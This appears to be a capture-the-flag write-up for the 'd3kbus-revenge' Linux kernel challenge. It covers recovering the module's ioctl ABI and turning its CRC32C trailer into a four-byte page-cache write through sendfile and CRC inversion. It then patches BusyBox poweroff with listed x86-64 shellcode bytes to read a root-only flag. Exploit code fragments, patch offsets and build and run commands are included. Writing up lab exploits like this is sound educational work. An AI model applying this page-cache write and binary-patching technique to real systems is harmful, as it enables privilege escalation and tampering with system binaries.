d3kbus-revenge
d3kbus-revenge
Platform: D3C2026 | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-07-26 | Status: Solved Techniques: kernel_abi_recovery, direct_splice_ingestion, crc32c_inversion, chosen_page_cache_write, busybox_applet_patching
Summary
Task: Exploit a custom Linux kernel message bus that retains file-backed pages and appends CRC32C trailers. Solution: Invert CRC32C for chosen page-cache writes, patch BusyBox poweroff, and trigger it from root init.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
d3c2026| ID:20260726_d3c2026_d3kbus_revenge - Tags: linux_kernel, busybox, kernel_module, crc32c, page_cache, zero_copy
- Indicators: sendfile internal pipe has pipe_inode_info.files equal to zero, shared external projection appends a CRC32C trailer, user_tag is covered by the frame CRC, root init invokes BusyBox poweroff after the unprivileged shell exits
- Source:
20260726_d3c2026_d3kbus_revenge.md
Foothold
Vulnerability / Misconfiguration
- Kernel_abi_recovery
- Direct_splice_ingestion
- Crc32c_inversion
- Chosen_page_cache_write
- Busybox_applet_patching
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- kernel_abi_recovery
- direct_splice_ingestion
- crc32c_inversion
- chosen_page_cache_write
- busybox_applet_patching
- Tags: linux_kernel, busybox, kernel_module, crc32c, page_cache, zero_copy
Original Writeup
<details><summary>Click to expand original content</summary>Description
No separate organizer prose was retained in the solved workspace. The supplied challenge archive contained a Linux kernel, a protected QCOW2 root filesystem, a QEMU launcher, and an image associated with the task.
The goal was to escape a UID 1000 shell, exploit the world-accessible /dev/d3kbus kernel module, and disclose the root-only /flag. This is the d3kbus-revenge challenge, not the earlier d3kbus task: it has its own normalized identity, exploit artifacts, remote transcript, and independently verified result.
Artifact and Environment Analysis
The archive contained:
- a Linux 7.1.4
bzImage; - an ext4 QCOW2 root filesystem;
run.sh, which starts an x86-64 QEMU guest;- a local test flag, which was not the competition flag;
media.png, which proved unrelated to the exploit.
The launcher enabled the major kernel hardening features:
-cpu kvm64,+smep,+smap -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init quiet kaslr pti=on oops=panic panic=1"
The guest initialized /dev/d3kbus, dropped into a shell as ctf, and resumed the root-owned rcS script after that shell exited. The next meaningful action in rcS was BusyBox poweroff. This gave a useful escalation target: alter executable page-cache data while unprivileged, then let an existing root process execute it.
Recovering the hidden module
The module was stored as /root/d3kbus.ko inside a filesystem that was inconvenient to mount directly on the host. The reliable extraction method was:
- Boot the supplied kernel with
init=/bin/sh; - Attach a second writable block device to QEMU;
- Mount that device inside the root shell;
- Copy
/root/d3kbus.koto it; - Shut down and recover the copied file on the host.
The recovered module was 1,249,640 bytes and, crucially, retained symbols and DWARF. That converted a blind kernel attack into protocol and control-flow recovery.
Recovered ABI and Framing
DWARF and the control ioctl handler revealed two operations: create a producer channel and subscribe to it.
#define D3KBUS_IOC_CREATE 0xc0186101UL
#define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL
#define D3KBUS_MAGIC_WIRE 0x3361626eU
#define D3KBUS_MAGIC_FRAME 0x74747261U
struct d3kbus_ioc_create {
uint32_t queue_limit;
uint16_t max_subscribers;
uint16_t flags;
int32_t producer_fd;
uint32_t channel_id;
uint64_t channel_cookie;
}; /* 24 bytes */
struct d3kbus_ioc_subscribe {
uint64_t channel_cookie;
uint32_t flags;
uint32_t window_offset;
uint32_t window_length;
uint32_t stream_value;
uint32_t stream_mask;
int32_t subscriber_fd;
uint32_t reserved[2];
}; /* 40 bytes */
Producer input begins with a packed 32-byte wire header. A subscriber receives a packed 48-byte frame header followed by its projected payload and optional checksum trailer:
struct __attribute__((packed)) d3kbus_wire_header {
uint32_t magic;
uint16_t header_length, flags;
uint32_t payload_length, stream_id, user_tag, reserved;
uint64_t opaque;
};
struct __attribute__((packed)) d3kbus_frame_header {
uint32_t magic;
uint16_t header_length, flags;
uint32_t channel_id, stream_id;
uint64_t sequence, opaque;
uint32_t user_tag, payload_length, window_offset, reserved;
};
The exploit creates a channel for two subscribers. Both subscribers request the shared-external mode plus CRC32C and select the same 20-byte window:
sub.flags = D3KBUS_SUB_SHARED_EXTERNAL | D3KBUS_SUB_CRC32C; sub.window_offset = target_relative - 16; sub.window_length = 20; ioctl(dev, D3KBUS_IOC_SUBSCRIBE, &sub); sub2 = sub; sub2.channel_cookie = create.channel_cookie; ioctl(dev, D3KBUS_IOC_SUBSCRIBE, &sub2);
Two subscribers are not cosmetic. Multicast selects the shared external deferred-CRC path needed for the mutation.
Vulnerability Root Cause
sendfile preserves file-backed pages
The producer's zero-copy ingestion can retain references to source page-cache pages as external segments. Whether that is allowed depends on the pipe used to deliver splice buffers.
An explicit userspace pipe has pipe_inode_info.files != 0. The module treats such buffers as unsafe for sharing and copies them into private pages, so this straightforward path does not mutate the source file:
victim file -> user-created pipe -> d3kbus producer
-> private copy
sendfile() behaves differently. Its direct-splice implementation uses an internal pipe whose pipe_inode_info.files == 0. The module accepts those buffers as external and retains the original file-backed pages:
off_t off = source_base;
for (size_t left = payload_length; left;) {
ssize_t n = sendfile(create.producer_fd, victim, &off, left);
if (n <= 0)
die("sendfile target to producer");
left -= (size_t)n;
}
The deferred CRC trailer becomes a write primitive
For a CRC-enabled projected window, the frame consists of the 48-byte frame header, projected bytes, and a four-byte CRC32C trailer. In the shared-external path, the trailer is committed into the backing external segment. Because that segment still references the victim's page-cache page, the checksum overwrites the source file.
Choosing a 20-byte window gives the useful arrangement:
window_offset target
| |
v v
[ 16 bytes included in the CRC preimage ][ 4-byte trailer ]
Thus the vulnerability supplies an aligned four-byte page-cache write if the attacker can choose the checksum.
Inverting CRC32C Through user_tag
The CRC preimage is the complete 48-byte subscriber frame header followed by the first 16 bytes of the projected window. The 32-bit user_tag is attacker-controlled and lies inside that preimage.
With all other bytes fixed, CRC32C is an affine map over GF(2):
F(tag) = A * tag XOR b
The exploit evaluates F(0) to obtain b, then flips each of the 32 input bits independently. The 32 output differences form the columns of A. XOR Gaussian elimination solves for the tag that yields any requested 32-bit trailer.
fh->user_tag = 0;
base = crc32c(message, sizeof(message));
for (unsigned i = 0; i < 32; i++) {
fh->user_tag = 1U << i;
uint32_t v = crc32c(message_for(fh), message_size) ^ base;
insert_basis_vector(v, 1U << i);
}
uint32_t tag = solve_basis(wanted_dword ^ base);
The final exploit.c contains the complete tag_for_crc() implementation and checks its answer before sending the frame.
The revenge-specific debugging trap
The first generalized writer produced valid frames but did not write the requested dword. A byte comparison between the predicted and returned CRC prefixes found the only mismatch at frame offset +40: frame_header.window_offset.
The initial local model had left this field as zero. The actual subscriber frame copied the configured nonzero window offset into the header, and CRC32C covered it. The required correction was:
fh.payload_length = sub.window_length; fh.window_offset = sub.window_offset; /* required CRC preimage byte-for-byte */ wh.user_tag = tag_for_crc(&fh, prefix16, wanted);
This detail explains why a mathematically correct CRC inversion initially generated the wrong write. After adding the field, the emitted trailer, independently computed CRC, and page-cache dword all matched.
Generalized Four-Byte Page-Cache Writer
For an aligned target offset target, the exploit sends only the relevant part of the file rather than the entire victim:
source_base = target & ~(off_t)0xfff;
target_relative = (uint32_t)(target - source_base);
if (target_relative < 16) {
source_base -= 0x1000;
target_relative += 0x1000;
}
payload_length = target_relative + 4;
sub.window_offset = target_relative - 16;
sub.window_length = 20;
If the target is within the first 16 bytes of a page, the source starts one page earlier so the CRC always has a 16-byte payload prefix. The complete pagecache_write4(path, target, wanted) routine then:
- Opens the read-only victim and
/dev/d3kbus; - Creates a channel permitting two subscribers;
- Installs two identical shared-external CRC window subscribers;
- Reads the 16 known bytes before the target;
- Predicts every frame-header field, including
window_offset; - Solves
user_tagfor the requested little-endian dword; - Writes the wire header and ingests victim pages with
sendfile(); - Drains and validates both subscriber frames;
- Verifies the target with
pread().
No kernel address leak or control-flow hijack was required. The exploit operates on file page-cache data and therefore bypasses the need to defeat KASLR, SMEP, SMAP, and PTI directly.
Escalation Target: BusyBox poweroff
Several BusyBox applets share the halt/poweroff/reboot implementation. The root rcS script calls this implementation immediately after the unprivileged shell returns, making its file-backed code a deterministic execution target.
The exploit replaces eleven aligned dwords at offsets 0x1ea05c through 0x1ea084 in /bin/busybox:
static const struct { off_t off; uint32_t value; } patch[] = {
{ 0x1ea05c, 0x50c031fa }, { 0x1ea060, 0x662fb948 },
{ 0x1ea064, 0x0067616c }, { 0x1ea068, 0x54510000 },
{ 0x1ea06c, 0xb05e505f }, { 0x1ea070, 0x96050f02 },
{ 0x1ea074, 0x995f016a }, { 0x1ea078, 0x5a417f6a },
{ 0x1ea07c, 0x0f58286a }, { 0x1ea080, 0x583c6a05 },
{ 0x1ea084, 0x050fff31 },
};
These bytes implement a compact x86-64 syscall payload equivalent to:
fd = open("/flag", O_RDONLY);
sendfile(STDOUT_FILENO, fd, NULL, 127);
exit(0);
The modified bytes are consumed from the page cache when root invokes poweroff. Exiting the ctf shell therefore crosses the privilege boundary without changing process credentials inside the exploit.
Failed and Eliminated Paths
Explicit pipe splice
Splicing through a user-created pipe forced the module's private-copy path because pipe_inode_info.files was nonzero. The CRC trailer then affected only copied storage, not the victim file. The internal direct-splice pipe used by sendfile() was essential.
/etc/passwd rewrite
A diagnostic write into /etc/passwd proved that the page-cache commit occurred and helped isolate the wrong CRC prefix. It was not a viable escalation route: BusyBox su was not SUID, and the image offered no suitable SUID consumer for the rewritten identity.
Editing rcS
Changing the script text also committed successfully, but BusyBox ash had already buffered and parsed the remainder of the short script while waiting for su ctf -c sh. It executed the old parsed command after the shell exited instead of rereading the modified page.
Deferred-trailer out-of-bounds and endpoint UAF
The deferred-trailer out-of-bounds hypothesis and a simple producer/subscriber endpoint use-after-free were tested and eliminated. Neither yielded a stable memory-corruption primitive. The external-page CRC commit was both simpler and deterministic.
Local Reproduction
Build the final exploit statically for x86-64 Linux:
x86_64-linux-musl-gcc -static -O2 -Wall -Wextra -o exploit exploit.c
Boot the provided VM, upload exploit, and run:
chmod 755 /home/ctf/exploit /home/ctf/exploit exit
fixed-local.log records all eleven corrected writes. Each subscriber frame was 68 bytes, each frame reported the expected 20-byte window, and every trailer equaled the independently calculated CRC32C and requested dword. flag-local.log confirms that exiting the shell invoked the patched root poweroff; its bundled output was only a local test value.
Remote Reproduction and Evidence
The live service used TLS at:
rjjt4sldawsjskj7r4mdgelpui4.cloud.d3c.tf:443
After connecting, the client sent this backend selector:
127.0.0.1:61911
remote_run.py waits for the VM to boot, uploads a gzip-compressed static exploit as paced base64, executes it, and finally sends exit:
python3 remote_run.py ./exploit > remote4.log
The reproducible evidence is in remote4.log:
- lines 488-531 show all eleven BusyBox writes;
- each write is confirmed by both subscriber frames;
- each trailer equals the independently calculated CRC32C;
- line 532 reports that the poweroff implementation was patched;
- line 533 exits the unprivileged shell;
- line 534 contains the verified competition result, redacted below.
Artifacts
tasks/d3c2026/d3kbus_revenge/exploit.c— complete exploit and CRC solver;tasks/d3c2026/d3kbus_revenge/d3kbus.ko— recovered unstripped module;tasks/d3c2026/d3kbus_revenge/fixed-local.log— corrected local write verification;tasks/d3c2026/d3kbus_revenge/flag-local.log— local root-trigger verification;tasks/d3c2026/d3kbus_revenge/remote_run.py— TLS upload and execution automation;tasks/d3c2026/d3kbus_revenge/remote4.log— successful live transcript.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR